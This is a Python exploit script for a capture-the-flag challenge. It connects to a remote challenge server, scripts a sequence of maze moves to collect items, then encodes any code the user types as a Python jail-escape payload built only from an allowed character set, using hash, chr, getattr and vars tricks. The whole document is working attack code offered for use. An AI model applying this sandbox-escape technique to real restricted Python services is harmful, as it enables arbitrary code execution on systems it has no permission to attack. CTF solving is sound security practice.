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import socket
HOST = 'challs.xmas.htsp.ro'
PORT = 6001
log = open("net.log", "wb")
def send(s, data):
if isinstance(data, str):
data = bytearray(data, 'ascii')
s.sendall(data)
s.sendall(b'\n')
def recv_until(s, q):
buf = b""
while not buf.endswith(q):
data = s.recv(1)
buf += data
log.write(data)
log.flush()
return buf.decode("utf-8")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
def await_prompt():
print(recv_until(s, b"> "))
def do(cmd, quiet=False):
if not quiet:
print(cmd)
send(s, cmd)
await_prompt()
# Navigate the maze.
await_prompt()
do("east")
do("take can")
do("use can")
do("take bow")
do("west")
do("north")
do("west")
do("use can")
do("take snare")
do("east")
do("south")
do("west")
do("use can")
do("take timer")
do("east")
do("north")
do("east")
do("east")
do("east")
do("take gem")
do("west")
do("west")
do("west")
print(recv_until(s, b"GOOD LUCK!"))
ALLOWED_CHARS = "gemhuntersnarecantimer(),/v"
def one():
return "int(hash(int)/hash(int))"
def integer(n):
return "sum((" + ",".join([one()] * n) + "))"
def char(c):
return "chr(" + integer(ord(c)) + ")"
def string(s):
chars = [char(c) for c in s]
out = chars[0]
for c in chars[1:]:
out = "getattr(str,min(vars(str)))(" + out + "," + c + ")"
return out
def payload(code):
p = string(code)
for c in p:
if c not in ALLOWED_CHARS:
raise Exception("Invalid char: " + c)
return p
do("time")
await_prompt()
while True:
do(payload(input()), quiet=True)
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